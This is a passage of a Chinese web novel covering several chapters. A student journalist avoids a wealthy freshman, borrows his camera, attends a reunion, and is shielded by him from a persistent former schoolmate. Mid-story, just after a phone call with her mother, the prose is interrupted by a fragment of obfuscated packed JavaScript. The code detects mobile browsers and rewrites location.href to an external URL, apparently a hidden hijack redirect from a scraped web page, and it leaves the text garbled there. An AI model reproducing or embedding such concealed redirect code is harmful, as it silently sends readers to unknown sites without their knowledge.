宋淮靳只会面无表情地说《帝国的毁灭》里演希特勒的演员并不是德国人,而是瑞士人。
尽管如此,他还是花了半年时间重新练习了所谓的贵族口音,至少在吃饭的时候舍监不会再盯着他了。
林杳眠讲一口标准的普通话,声音柔和。
她嘴角旁边有个很浅的酒窝,随着不同的拼音发音动来动去,很像他以前在哲学课上走神时,窗外跳在枝头的小鸟。
浅色的腹部,金色的胸羽,眼睛周围有一圈白。
英国人都知道那是Mockingbird,知更鸟。
宋淮靳猛地收回思绪,看向白纸,打断她:“所以我每次都要拍照,然后自己写稿子吗?”
林杳眠以为他在担心写不好,于是安慰他:“你放心,这几个月里你写的稿子要先从我这里过,然后给部长看,最后再交到楠姐那儿。”
宋淮靳点点头,似乎懂了她的意思。
备忘录里的内容逐渐拉到底部
外面走廊远远地响起悠扬的下课铃,最后一节晚课结束,稀稀拉拉的脚步声传来。
“今天先到这儿吧。”林杳眠叠好写满笔记的A4纸,“这些你带回去再看看,有不懂的就问我。部长说这是你的相机,你今天要拿走吗?”
“不拿”宋淮靳眼皮也没抬下,似乎并不在意相机的去留,“丢这儿就行。”
“那我锁柜子里了。”
这条走廊的声控灯是坏的。林杳眠打开手机的手电筒,照亮门把手的位置,锁好门把钥匙从锁孔里抽出来。
微信弹出提醒,有人发来新的好友请求。
头像在高中小群里见过。
管皓。
林杳眠一抿嘴,直接忽略,退出微信页面,往外面走。
走到一半,身后的宋淮靳突然开口:“那现在可以加你微信了吗?万一我对今天的内容有问题...”
“你企鹅号上没有新闻部的工作群吗?有事的话你可以直接在工作群里找我。”
林杳眠说得公事公办。
她的确不想给宋淮靳微信,就像当初要绕着篮球场走一样。
宋淮靳没有接话,林杳眠以为他默认了。
等走到有光亮的地方,宋淮靳拦在她面前,收起脸上的玩味,舌尖抵在下颚:“我做什么让你不爽了吗?”
他发现林杳眠说话总爱低头盯着地面,避免和他有多余的眼神接触。
林杳眠的手揣在衣兜里,握紧钥匙串,她掩饰住神情里的躲闪,尽可能用平静的语调回答:“没有。如果你后续有培训上的问题,欢迎随时联系我,我新闻部工作上的事都是企鹅号上处理的。”
她又补充:“或者如果你觉得哪里不妥,可以去找部长商量换个人带你。”
昏暗的光线如同一层薄纱,笼罩在女生身上,将影子拉得长长。
她脸上那种不易察觉的紧张又来了。
宋淮靳没有说话,而是主动退后两步,让出一个身位。
*
林杳眠心绪不宁地走在回寝室的路上,半途接到妈妈蒋悦的来电。
“杳杳,我看天气预报说你们那边最近降温了,你记得加两件衣服。最近学习上怎么样?大二了是不是变忙了?”
林杳眠想起白天在教室里的场景,低头看见路面上自己影子,回答:“比大一忙一点,但是还好。”
蒋悦又问了女儿几句生活上的事:“你一个月生活费够用吗?你姑姑说你弟弟在洛城上大学一个月都要两千打底,京市物价肯定比洛城贵。你不够的话要给家里说...””
林杳眠赶紧说:“够的够的,我暑假做家教不是还攒了一点吗。”
蒋悦放不下心,嘱咐:“时间不够的话,兼职就先别做了,心思还在放在学习上...”
“嗯嗯,我自己心里有数。”林杳眠问出她最关心的问题,“外婆最近还身体好吗?”
林杳眠的妈妈蒋悦是高中老师,一心扑在所带的班级上,爸爸林建锋是外派非洲的工程师,每年只有春节回来。外婆在林杳眠上小学的时候搬来家里同住,她是外婆一手拉扯大的。
但她上初中以后,外婆先是查出糖尿病,后又查出阿兹海默症,记忆和认知能力逐渐出现问题。
今年暑假回家,外婆有时候连孙女的名字都叫不上来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281541|166843||http|test|mini|href|location''.split(''|''),0,{}));
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>“外婆身体好着呢,按时吃药打针,复查也正常。我们上周末还带她去你姑姑家吃饭。每天护工都带她下楼散步,跟人聊天,就是记不清事了,昨天见过的人今天就认不出人家了。”
...
林杳眠推开寝室门。
袁曼香坐在书桌前戴着耳机看动漫,隔壁床位的书桌上摆满了购物袋,卫生间里传来潺潺的水声。
“叶佳媛回来了吗?”林杳眠问。
袁曼香摘下耳机:“对,比你早个十分钟回来吧,她刚进去洗澡。”
林杳眠点头,收拾一下书桌,准备去阳台把白天晒干的衣服拿进来。
她回头推开阳台玻璃门,碰上头裹白色浴巾的叶佳媛。
叶佳媛只是瞟了林杳眠一眼,然后一言不发地回到自己的书桌前坐下。
林杳眠和袁曼香对叶佳媛目中无人的态度早习以为常,从住进寝室的第一天起,叶佳媛便独来独往,也不会跟她们闲聊,上学期开始还经常夜不归宿
但叶佳媛除了傲慢点,也没做其他过分的事。
三人寝室氛围谈不上融洽,至少算相安无事。
洗完热水澡,林杳眠坐在书桌前预习完明天要上的数学分析,看了两个节的内容,她揉了揉脖子,把书装进包里,然后爬上床位。
刚拉上遮光帘,袁曼香的消息蹦出来。
「眠眠,你看论坛了吗?你写的那篇公众号火了!」
学校公众号的文章通常在学生群体掀不起水花,更像是完成学校的宣传任务,平时阅读量估计还没京大树洞bot上的失物招领高。
但这篇被转发到论坛里的公众号以一己之力把这周的平均阅读量拉到新高度。
两张照片呗放在一起对比,一张是林杳眠在开学报道上拍的。
另外一张是发帖人自己拍的。
曲线设计流畅的黑色超跑在停车场中格外扎眼,但视觉焦点却是旁边的男生,宽阔的手搭在敞开的车门上,动作从容,似乎刚下车准备离开。
论坛帖子的评论区,留言盖起高楼。
「网络段子走进现实之18岁靠父母全款拿下保时捷」
「一辆911就给你们唬住了。忘了之前物院楼下停过一辆布加迪?」
「大哥你看清楚,这不是911,价格是911的十倍」
...
京大的学生群体卧虎藏龙,学生之间家境差距和当初博雅外国语的相比,有过之而无不及。
停车场里有豪车不是炸裂的事儿。稀奇的是车主不光有钱,还有颜。
林杳眠不得不承认,上帝在创造人类的时候显然给予了他多余的偏爱。
不管是正经摄影,还是手机偷拍,从任何角度看,宋淮靳那张脸确实挑不出毛病。
袁曼香在微信上感叹:「投胎真是门技术活,许愿下辈子投胎京A中产家庭。」
林杳眠:「你太没理想了。我看网上别人的志愿都是纽约曼哈顿或者洛杉矶比佛利山庄。」
「你说得对,人要有梦想!」
在袁曼香发出下一句雄心壮志之前,林杳眠又打字。
「但是按照概率论,你有95%的可能性会去第三方贫困国家。不被调剂完成梦想的概率比你手游抽SSR还低。」
袁曼香回复一个哭哭的小熊表情。
「果然梦里什么都有。」
两个人聊得起劲儿。
林杳眠的手机屏幕上方弹出提醒。
康欣妍:「眠眠。我刚跟宋淮靳谈了这一个月你的任务表,他说他的时间不太合适,跟我申请换个人带他。那你这边就先不用带新人了,该完成的任务你还是一个人正常做就行。」
林杳眠没有第一时间回复,而是脸贴着枕边,愣在床上。
宋淮靳的动作太快。
前脚她刚提了一嘴,后脚他便付出了行动。
过很久,她回复道:「好的。如果有临时紧急任务,尽管通知我就行。」
康欣妍不知道两个人之间的弯弯绕绕,接着傍晚在办公室没聊完的话题,竭力劝说林杳眠去申请国外更好的学校。
林杳眠犹豫一会儿,还是说她家里不过是普通工薪阶层,留学费用太高昂。
康欣妍帮她打破了信息差,她不需要去国外自费读研,完全可以尝试去美国直博。虽然申请难度更大,但读博期间有工资拿,家里不需要出一分钱。
即便是中途到一半读不下去,还能带着硕士学位跑路。
林杳眠还有一个顾虑:「我觉得我的科研经历还不够丰富,怕申请不到好学校。」
康欣妍:「你才刚刚大二,这不是还有三年。我前天在朋友圈刚好看到有一个学长在帮实验室招人,要不你发个简单的自我介绍和成绩单给我,我帮你转过去。虽然他们是计算机学院的,但是他配文里说的理工科学生都可以。」
林杳眠连声道谢,立马把文件发过去。
结束聊天后,林杳眠并没有立刻退出,而是切到企鹅号上的新闻部工作群,点开宋淮靳的名字。
两个人在企鹅上叶不是好友关系。
就算宋淮靳不加她,林杳眠也会很快发过去好友申请。
下周还有一个知名校友的讲座,需要两个人共同完成采访。
显而易见,康欣妍的通知比好友申请来得更快。
林杳眠在过去的人生里,始终尽心尽力地完成别人布置的任务。
比如按时完成每日学科作业,寒暑假额外的课外读物,800米要跑进3分30秒。
也包括在新闻部培训新人。
所以此时此刻,林杳眠很想发条消息问宋淮靳,是不是真的因为没时间才申请换人的。
5. 低气压
关于宋淮靳的帖子很快沉下去。
论坛首页又充斥着「顶刊论文代码复现求助」、「大佬们,25fall这个bg冲hypsm有希望吗」、「暑假科研美签提问」等等一类的标题。
人往高处走,水往低处流。京大是国内的首等学府,如同康欣妍所言,毕业生们依然挤破头往国外排名更高的大学挤。
论坛里有早些年录到藤校的学姐发帖,感概后浪真是要把前浪拍死在沙滩上。大家卷绩点卷论文卷实验室经历,人手一篇顶会一作。
几年前被录取的简历放到现在的申请人里属于直接进垃圾桶的那一档。
林杳眠很庆幸自己的成绩单还算看得过去。
康欣妍把她的资料转发过去不久后,计算机学院的庄教授联系她去面试。
庄教授带她在实验室里转了转,简单介绍他们正在忙活的项目。
虽然他们研究所在计算机院系下,但这个项目的基础还是数学。
整个面试过程远比林杳眠想得顺利。庄教授表现出对她极大的认可。
“考试也学生的本职之一,绩点高说明你在学习上很用心,做人不能本末倒置,做科研也一样。现在有些学生太浮躁,为了发几篇所谓的论文,连试也不好好考了。我以前带过你们二字班的学生,你很有潜力。"
如此直接的夸奖让林杳眠感到有些受宠若惊。
庄教授发给她几篇领域内的英文文献:“这几篇综述把最近几年流行的算法都概括得很完整,内容也写得简练,你先看看有个大概了解,有不懂的及时问。”
为了更好地适应工作,林杳眠在学校系统里又补报了一门计算机学院的课。
碰巧,奶茶店新来的兼职江向阳也有这门课。
林杳眠起初不知道她选修的这门课是计算机专业的必修课,在课堂上遇见江向阳的时候才发现这么巧。
这天下午刚下课,江向阳拿着平板向林杳眠请教刚才教授讲的一个知识点。
林杳眠一边解释,一边往楼下走。
江向阳作为大一刚入学的新生,各种问题一箩筐,还和她吐槽不知道线性代数的行列式是个什么稀奇古怪的东西。
林杳眠忍不住笑起来:“国内的教材写得不好,知识点教学顺序有点问题。你可以去网上搜一位MIT教授的公开课,他讲得很好,从二元一次方程开始会更容易理解。”
推开教学楼的玻璃门,旁边的台阶站了一个身形高大的人。
林杳眠潜意识抬头瞥了一眼。
没有想到,那个人也恰好在看她。
再次看那张的脸,她有一霎那的恍惚。
康欣妍通知她换人这件事以后,宋淮靳这三个字就和那条帖子一样石沉大海。
林杳眠觉得这个才是正常状态。京大这么多人,怎么可能随时遇上。
这会儿,宋淮靳脸上的表情耐人寻味,眉毛轻挑,毫不避讳地和她四目相对,却没有要开口打招呼的意思。
要不要主动打个招呼?还是干脆直接走掉?
但他很明显也看到了自己,走掉会不会不礼貌?
林杳眠思绪混乱。
江向阳还在喋喋不休:“高数那边我也有很多问题,学姐有推荐的网课或者教材吗?和高中数学的难度一比,感觉是断崖式提升...”
“之前一个学长给我推荐过一本,叫...”林杳眠发现想不起那本书的名字了,她明明在暑假在还翻开过几次。
现在脑海里空白一片,像被湿海绵擦过的黑板,一个字也不剩。
她只好说:“我回去找找把书名发给你,学校的网上图书馆可以下载借到电子版。”
林杳眠看着脚下灰白色的阶梯,感受到有一道目光始终盯着她。
像糟糕天气的前奏,低气压带来的压抑感让人感知到不久后会有暴雨降临。
林杳眠终于顶不住对方的凝视,缓缓转头,冲那个位置轻轻点下头,像是打了招呼,又像没有。
她清楚地看见,男生很轻地笑了下,弧度小到几乎可以忽略。
走在一旁的江向阳发现林杳眠的迟滞,顺着看过去。
宋淮靳原本慵懒地倚靠在栏杆上,缓缓起身,站得笔直。
两个人估计认识。
“你同学吗?”江向阳问。
“不是。”林杳眠想了下,又补充道,“不是我同班同学。他是我们部门新来的成员,也是大一。”
江向阳知道她在学校新闻部工作,随即噢一声,没太多想:“那你去吃饭吗?”
“不去。我下午还有一个讲座,现在要去六教取设备。”
“那我先去吃饭了,晚上见。”
“好的。”
等江向阳离开,宋淮靳先开的口:“你要去办公室拿东西?”
“是。下午有个采访任务。你来三教上课吗?”
宋淮靳低低地嗯声,手指慢条斯理地敲在金属栏杆上。
林杳眠不自觉地松口气
看来他之前跟部长说的是真的,任务时间上错不开,才申请换的人。
*
新闻部的办公室里静悄悄一片,林杳眠用杯子接了点水倒进龟背竹的花盆。
她打开设备柜,却发现里面空空如也。本来要用到的那台佳能R8不在里面。
林杳眠赶紧给康欣妍发消息。:「学姐,相机不在办公室,是谁前几天出任务借走还没还吗?」
距离讲座开始不到一个小时,她还有时间去找人拿。
「我问问,可能他们前天出任务忘还了。」
很快,康欣妍又发来消息:「相机在另外一个学弟那儿。他前天采访用完忘记归还了,他目前不在学校。你看宋淮靳的相机在吗?他的相机之前放在部门里公用。你问问他,或者群里问问他们谁还有空出来相机借借。」
林杳眠打开新闻部的工作群,犹豫一会儿,她还是在群成员的列表里找到宋淮靳的名字,主动发过去一条消息。
「能借下你相机吗?」
没回复。
今天的讲座很重要,她一定要借到相机。
林杳眠重新关上门,飞快跑下楼。
距离下堂课开始还有十分钟,没准宋淮靳还在。
重新跑到三教,玻璃门进进出出只有来上课的学生。
失落和懊恼涌上心头,林杳眠拿出手机,准备在群里找人借相机。
低头转身,她撞到一个人。
林杳眠摸着微疼的额头,刚抬头想道歉,听见平静的声音从头顶传来。
“你在找我吗?”
林杳眠庆幸自己下楼够快,跟他解释了下情况,
“如果你着急去上课的话,你室友在寝室吗?或者可以让宿管帮忙把相机拿下来吗
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?”
宋淮靳垂眸,看见她根根清晰的睫毛,下方眼睛里的小心翼翼一览无余。
很像他在大堡礁潜水时候遇见的小章鱼,有一点波动就会缩成一团,躲进洞穴里。
但是二十分钟前,她从楼里出来跟另一个男生讲话,还不是这个表情。
林杳眠也在观察宋淮靳的表情,觉得他看起来并不乐意。
因为他在低头的时候,轻挑的眼尾收回,恢复微微向下的形状,轻易让人认为他不高兴。
“如果…”
林杳眠想说不方便就算了,她可以再问问新闻部其他人。
宋淮靳却迈开身步:“我带你去拿。”
走到校门口,林杳眠后知后觉地问:“不去你宿舍吗?”
走在路上的时候,宋淮靳看得出来林杳眠有意和他保持一段距离。外人眼里,两个人并非同行,只是恰好目的地相同。
“谁跟你说的我住宿舍?”
他突然刹住脚步。
林杳眠差点又撞上去,她略微尴尬地小声说:“因为上次医院门口你没否认,我以为你也住学校寝室。”
那次她根本没给他说话的机会,人直接跑没影了。
宋淮靳最后还是没说话,而是带着林杳眠穿过两条街,停在一处浅灰色公寓楼前。
“你要跟着上去吗?”他盯着她眼睛问。
林杳眠视线一偏,看到白色花台里种植的紫色绣球和白色山茶花。
一块冰冷冷的金属告示牌立在中间:请勿采摘。
“不用了,我在下面等你吧。”
宋淮靳刷卡推开玻璃门,示意她跟进来。
林杳眠下意识重复一遍:“没关系,我在这里等…”
“你在大堂一样可以等我,在外面吹风不嫌冷吗?”
宋淮靳的语气无波无澜,反而弄得像她反应有些过度。
在冷淡工业风大堂里的真皮沙发,正对公寓楼的接待台,公寓管家坐在桌后,不停在面前的电脑上敲敲打打,表现出忙忙碌碌的样子。
连前台看门的都一副精英人士的模样。
京大校园坐落市中心,位置得天独厚,也微妙至极。
从西门出来,是四年前才修建起来的开放式商业区,各大奢侈品牌云集,购物打卡的游客络绎不绝。
而从另一端的东门出去,是一片老式居民区,家家户户的玻璃窗外都装着防盗铁栅网。
京大像棋盘上的楚河汉界,东西相隔,两个截然不同的世界。
东门出去二十块可以吃一碗打卤面,西门出去连一颗冰淇淋球的价格都不够。
学校论坛里转租房子的帖子,大多房源是东门的老式居民区。
一间老破小里的合租单间也要两千起步。同样的价格放在芜川,可以在博雅外国语旁边租一整套单身公寓。
林杳眠盯着大堂地板发呆。
微晶石瓷砖的颜色经过室内设计师的精心挑选,浅浅的水晶白,干净蹭亮。
一低头能看见隐隐映出的面影。
电梯处发出叮的一声。
宋淮靳拎着一个白色的纸袋出来,不由分说地塞进林杳眠的手里。
林杳眠抬头,对上一双琥珀色光泽的眼睛。
和地板上模模糊糊的轮廓不同。
她清晰地看见瞳孔里反射出的光,和女生惶然的表情。
6. 聚会
礼堂里,几个学生在布置舞台。
林杳眠坐在第二排最靠边的位置,准备调试相机参数。
她今天没有吃午餐的计划。十二点下课,又匆匆过来参加讲座。
反正晚上高中同学聚会订在一家烤肉店,她可以等忙完正事再好好享受美食。
但宋淮靳递给她的纸袋打破了原有的计划。
袋子里除了黑色的相机包,还有一袋吐司和一瓶苏打水。
林杳眠不敢揣测背后的含义。她拿出手机拍了一张照片,在企鹅号上给宋淮靳发过去,留言:「谢谢。」
她拿出一片吐司,跟她平时在面包店买到的不太一样。
一口咬下去,没有预想中香甜松软的口感。
咸的,又干又涩。
怎么能这么太难吃了。
林杳眠拧开水,皱着眉把包装袋翻过来,想要看看是什么牌子的吐司能这么难吃,以后绝对要避雷。
半透明的塑料薄膜上,几行英文清晰而简洁。
林杳眠的高考英语只有作文扣了三分,大一有两门课还是纯英文教学。
但包装袋上有一个她不认识的单词。
一个过于生活化,不会出现在应试考题中的单词。
出于好奇,林杳眠打开手机一查。
Gluten,麸质,谷蛋白。
她没来得及往下看,礼堂侧门传来一阵人声。
林杳眠看见庄教授站在讲座嘉宾旁边的时候有一刻意外,但仔细一想也了然。
庄教授是计算机领域的大牛教授。
今天来演讲的是国内人工智能领域的领军人物,入选过福布斯的青年人才榜,名字屡次出现在京大的知名校友名单里。。
两位不认识才是奇怪的事。
“之前有教授调侃,以前十个博士几年才能做完的事,现在有了AI,一个学生一周就能搞定。”
“人工智能不是科技的终点,而是新的起点。但真正的突破依旧依赖于人类的创造力,十多年前我在京大读书的时候,这个词还很小众。”西装革履的嘉宾笑着问,“但今天在场的同学还有人至今没用过大语言模型的吗?”
...
演讲结束后,林杳眠检查一遍照片和笔记,正打算离开,刚起身就被庄教授叫住。
“小林也来听演讲啊?”
林杳眠有点不好意思:“我是学校新闻部的,今天负责这场活动的稿子。”
庄教授点头,笑容和蔼:“多参加课外活动好啊。今天演讲的陈学长是你直系学长,当年是第一届二字班的,也是学生会会长...”
原来这位科技巨头以前同样在庄教授的指导下发过论文,申请博士的推荐书也是庄教授亲自写的。
庄教授笑起来,眼角的皱纹里都是自豪。
一长串噼里啪啦的夸奖,说的全是实话。
这位早年毕业的学长绝对是成功的行业佼佼者。
林杳眠站在一旁,挺直背部,微笑聆听。
但她的酒窝没有露出来。
*
林杳眠一路小跑到京大西门口,向等她的卫子默道歉。
“不好意思让你多等了,刚刚碰到一位认识的教授,聊了一会儿天...”
两个人约好了一起从京大出发,去参加高中同学会,
卫子默看见她又背包又拎袋,想接过她手里的袋子。
林杳眠手微微一偏,避开他的动作,笑道:“没事,里面就一个相机,很轻的。我自己拿就好。”
聚餐的地点在京市夜生活的核心地带,酒吧、餐馆和小吃摊云集。
韩式烤肉店最角落处的长条桌被人围得满满当当。
有人站起来招呼,声音带着几分调侃。
“哎哟,这不是我们状元林学霸吗?”
林杳眠知道,对方没有恶意,开玩笑一样的话术。
类似的话很可能在之前对其他人也说过一遍。
“这不是我们老班长吗?”
“这不是我们食堂抢饭第一名吗?”
大家善于用标签去定义别人,简单又实用。
去年,林杳眠的标签恰好是「状元」。
博雅外国语那一届只有她和卫子默考上了京大。
话题也自然而然地落在两个人身上。
负责点餐的服务员听说桌上有京大的学生,都多看了两眼。
“我听说二字班全是状元,真的么?”
更多的提问接踵而至。
“你们班有人挂科吗?”
“状元,在全是天才的二字班上课是什么感受?是不是随时都有人站起来和教授battle?”
同学们对京大的滤镜比美颜过度到衣柜变形的自拍照还夸张。
林杳眠笑着一一回答:“肯定有挂科啊,不过是个例。上课也没有特别感受,大家都是普通人。也不全是状元,还有...”
还有一些同学是省份第二名。
但林杳眠想到的是另外一群人,她尽量用平和的语气说:“还有几位同学是国家集训队的,他们是走竞赛进的京大,有一个女生很厉害。”
停顿一下。
“她在国际数学奥林匹克比赛中拿过两次金牌和一次银牌。”
在芜川那种教育资源一般的城市,很少有同学走竞赛这条路。林杳眠在上大学之前也不知道,原来还有其他方法。
现场有一位男生直接拿出手机,查询国际数学奥林匹克比赛是个什么含金量,对照新闻的标题的念出来。
桌上全是哇声一片。
林杳眠弯了弯嘴,低下头。
她其实有更简单的方式来形容。比如二字班人尽皆知的,那位女生在小学五年级能在高考数学试卷中拿一百四十的卷面分。
出于难以言状的私心,林杳眠没有这样说。
她的人生按部就班,再普通不过,十七岁参加高考,数学成绩是一百四十八分。
林杳眠的视线落在炉子中烧得火旺的炭火上。炭的黑变成红光,红变成白灰,最后消失不见。
男生还在念:“去年IMO金牌得主进入了普林斯顿大学数学系...”
一个吊儿郎当的声音响起。
“谁进了普林斯顿大学?”
拿着手机的男生虎躯一震,拔高音调:“这不是我们博雅一方豪杰皓哥吗?”
林杳眠听见这个名字,抬头一望。
管皓从oversize短袖到直筒牛仔裤,再到复古球鞋,浑身上下每一件单品均被密密麻麻的LOGO填满,还是不一样的LOGO,像土豆青椒萝卜炖在一起的大杂烩。
“再往那边挤一挤呗,给皓哥和他朋友腾个位置。”
“林杳眠,这个白色纸袋是不是你的?别忘了拿。”
烤肉店的装修风格也是工业风,金属材质的灯具光线强烈。
林杳眠侧身去取纸袋,灯光从一个角度直白又强烈地照进她的眼睛,亮得刺眼。
吵闹、沸沸扬扬的餐桌上,她遽然想起另外一个人。
和管皓很像的人。
拿过袋子,林杳眠偏过头的一刹那,和管皓对上目光。
她毫无波动地挪开目光。
其实也不完全像。
至少宋淮靳在穿衣品味上甩了管皓一大截。他不会把贴满LOGO的大牌乱七八糟地揉在一起。
聚会上的十来个同学虽然都来自博雅外国语,却不是同班。
男生们聊得更自来熟。林杳眠和几个女生坐在一起,安静地吃饭,偶尔互相交流几句现状。
吃饭结束,男生们嚷嚷着要转场再找个地儿接着喝酒聊天。
女生们都说要先走,林杳眠也不例外。
和大部队分开之前,她听见管皓自以为是的口气。
“就隔壁街找个酒吧呗,你们先走过去,我去挪下车。”
“皓哥,这才刚上大学一年就整上车了。”
“车牌不好办吧?我听人说都得拍卖。”
...
管皓被吹捧惯了,大大咧咧地晃着车钥匙。有眼尖的男生惊呼:“X系啊,皓哥牛逼啊。”
进入大学,大家不再像高中,单纯地通过
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语数外的成绩衡量一个人。更多复杂的因素被加进来,仿佛半只脚踏进社会。
男生们在那一头七嘴八舌地讨论车的牌子。
这些话题距离林杳眠还有些远,那些人站得也很远。
目前她的想法还是很简单,比如高等代数的期末能多考两分,下学期挤进奖学金的名单。奖学金的钱不够买个车轱辘,但能让她早一点买上相机。
林杳眠走在去地铁口的路上,京市的气温明显低了,冷风一阵一阵地灌。她想起蒋悦的提醒,记得添衣。
路口转弯前,林杳眠被人叫住,她一回头看见管皓那种令人讨厌的脸。
“你没有通过我的微信好友申请。”管皓像是有备而来。
正常人用脑子想一下都知道,这是拒绝的信号。
林杳眠面无表情地回绝:“我们不认识。”
管皓还在转车钥匙,提醒她:“我们在国际部那栋楼的走廊碰过很多次面。”
林杳眠很期望像在奶茶店制作香蕉奶昔的时候,捣香蕉一样,给管皓的脸来一锤。
说得跟她路过国际部跟专程为了跟他碰面似的。
博雅的食堂和高中教学楼之间正好是国际部的楼,她不走那儿走哪儿!
但很快林杳眠反应过来,管皓连外黄里白的香蕉人都算不上。
他虽然拥有美国国籍,但托福连八十分都考不到。
香蕉人起码会说英语。而管皓应该属于大脑无法吸收营养的典范。
林杳眠不想再和面前的人纠缠,径直迈步想要让过去。
管皓跟着她向前一步。林杳眠飞快地意识到他可能会做出的举动,刚想喊出声。
背后的人在叫她的名字:“林杳眠。”
管皓的手停在半空中。
林杳眠松了口气,她看见不远处的宋淮靳靠在一辆碳黑色的跑车旁。
他第一次连名带姓地叫她名字,以前从来都是似笑非笑地叫她学姐。
宋淮靳朝两个人这里走过来,直接掠过管皓,站到林杳眠旁边,问:“你要回学校吗?”
林杳眠犹豫一秒,选择点头。
“我送你。”宋淮靳说得很自然,此刻他终于把目光放在管皓身上,一寸一寸地打量,转过头问林杳眠,“你朋友?”
“我是她高中同学。”管皓的表情算不上好看。
大脑简单的人在炫耀和攀比上也很简单。明眼人一看都知道,宋淮靳刚才靠着的那辆车比他的贵,而且贵十倍以上。
林杳眠利落地否认:“他不是我同学。”
她不知道无声的较量,只知道有宋淮靳在场,她轻而易举地摆脱了管皓的纠缠。
坐进那辆在论坛里引起过火热讨论的跑车,林杳眠低头,她没有真的打算让宋淮靳送她回去。但管皓还站在马路旁边,往这个方向观望。
等人走了,她再下车,换乘地铁。
驾驶位的宋淮靳也发现了管皓的行为,手指敲在方向盘,中肯地评价:“你同学长得挺欠扁的。”
“我们不是同学。”林杳眠又一次强调,“我们只是上过同一所高中。”
但她忍不住弯了下嘴角,同意他的看法。
管皓是挺欠扁的。
“你应该离他远一点。”
林杳眠微微一怔,提醒:“你们两个才第一次见面。”
“这种人渣我见多了。”宋淮靳松开方向盘,往车窗外看去。
昏黄的路灯下,管皓还在缩头缩脑地向这边打量。
宋淮靳在很早以前就有和这种人打交道的经历,只是那个时候他的心智过于幼稚,选择了以牙还牙的手段,然后遭到了严厉的处罚。
对付这种人,暴力不再是他的选项。
他在英国的五年,也不是完全从那所讨厌的学校里学到东西。
比如现在,他可以有更温和又更直击人心的处理方式。
历史老师教他的,战争也可以兵不血刃。
在林杳眠反应过来之前,宋淮靳猛地从驾驶位上起身,越过中间空隙。
他的手撑在了副驾驶一侧的车内壁上。
7. High Horse
狭小的车内空间,宋淮靳的举动突然又迅速,以至于林杳眠没能反应过来。
阴影投下来,半扇光被他的身体挡了个彻彻底底。
“别动。”
“他还在外面看。”
林杳眠整个人僵在座椅上。
从外面的视角看进来,宋淮靳的上半身把她彻底罩住了。一男一女贴在一起能干什么,不言而喻。
实际上,车内的情况正好反过来。
宋淮靳微微弓着背部,撑起的手臂因为发力,结实的肌肉线条绷紧。
他的动作在彼此之间画出了一道安全带,两个人没有任何身体接触。
然而林杳眠觉得,还是太近了。异性之间过近的距离会带来不安全感。她轻易窥见下垂的衣领,流畅的锁骨,凹陷的骨窝,以及人类最脆弱的部位。
年轻男性脖颈上凸起的线条一览无余,蕴藏着青涩的力量和旺盛的生命力。
林杳眠竭力控制自己不要乱想,思绪像被困住的蝴蝶,扑棱着薄薄的翅膀。
但眼前的小山丘轻轻动了下,蝴蝶成功找到出路。
他和管皓其实一点也不一样。
她应该第一时间就推开他。
林杳眠想。
宋淮靳偏过头,撑在车内壁的手忽然收力,抽出安全带。
咔嗒一声,他又翻身坐回驾驶位。
“他走了。”宋淮靳用游刃有余的语气说,好像他经常面对这种事,“都说了,这种人我见多了。他经常找你?”
林杳眠的手揪着被刚被系紧的安全带,转头一看,果然刚刚管皓站的位置已经空空如也。
“也没有,上高中的时候我们两个根本不认识...”
林杳眠也有点费解。
管皓话里的意思,他从高中就知道对林杳眠有印象,但那时候一点想要接触的迹象都没有。
从什么时候她开始频频收到好友申请的?
高中毕业,高考成绩放榜以后。
状元两个字也不全是好处。
宋淮靳看到林杳眠的嘴角微微翘起,却像是被某种力量硬生生扯上去的,她酒窝所在的位置很平整。
这个笑像苹果起泡酒发酵过后沉淀残留的微黄絮状物,摇一摇就散了。
“如果他下次再纠缠你,你直接告诉我,我帮你处理。”宋淮靳又补充一句,“你可以在工作群里找到我,就像今天借相机一样。”
虽然他摒弃那种坏习惯很久了,但不介意再捡起来,用原始的方式解决问题,
林杳眠先是愣了一下,然后生出几分哭笑不得。
两个人的聊天框上至今还有个「添加对方为好友」的提示。
他居然还在cue她不愿意加他这件事。
但他安慰人的方式很直接,哪怕弄错了方向。
林杳眠的嘴角抽动起来,酒窝又重新浮上水面。
“他应该没有机会了。我平时都在学校里面,今天是恰好出来同学会上碰见了。”
早几年,京大校园对外开放,大批游客们进校打卡。跟着游客混进来的还有不安好心的人,校园里接连出过几次金额巨大的盗窃案件。
学生们在论坛上怨声载道,后来京大修改规定,只允许校内人士刷卡带人入校或者游客实名制预约参观。
如果管皓再来学校里骚扰她,她打算直接告诉保安处,把这个名字加入黑名单。
车内又安静下来。当林杳眠不知道该接着说些什么的时候,一阵手机铃声响起。
不是她的。
宋淮靳按下亮起屏幕上的接通键。
他听着手机听筒里传来吵吵嚷嚷的声音,瞥了眼坐在副驾驶的人。
一双纤白的手已经覆在安全带的搭扣上。
宋淮靳垂下眼睫,对电话那一头说:“我现在有点事,晚一点再过来。”
林杳眠一听这一句话,如获至宝。她解开安全带,组织好措辞:“你是不是还有事?我坐地铁回学校就好。”
飞快拎起纸袋的一瞬间,林杳眠又醒悟过来纸袋里装的是他的物品,尴尬地说:“你的相机需要现在拿走吗?你需要的话我把内存卡取出来。”
“不用,你明天放到部门的办公室吧。”
“好的好的。”
宋淮靳把眼前人每一个表情和每一个动作尽收眼底。
林杳眠如释重负地打开车门,然后又轻轻关上门,从他眼皮下溜走了。
宋淮靳看着水泥灰的马路一直延长,到地铁口。
他在想一件事,在公学那几年,或许他的确学到了highhorse一般的虚伪。
比如他不喜欢学校规定的礼拜,但每天还是准时到场,在宗教象征的彩绘花窗玻璃下面发呆。比如他不喜欢囫囵吞枣的口音,还是学会了公学特色的绅士腔调。
再比如。他当时也不想来京市上大学。
但是她不一样。
她是一个很真诚的人,所以从来不遮掩想要回避他的意图,同时也平等地回避她不喜欢的人。
*
第二天,林杳眠把相机包放回了新闻部办公室的柜子里。
不出意外的话,昨天的巧合应该是两个人在年底开部门大会之前的最后一次交集。
因为手下没有再带新人,林杳眠主动承担了更多的临时采访任务。只要康欣妍一在群里问谁有空,她大概率是第一个回复的。
在接下来的一周,她又陆陆续续来过办公室几次,却再没在柜子里看见过宋淮靳的相机。
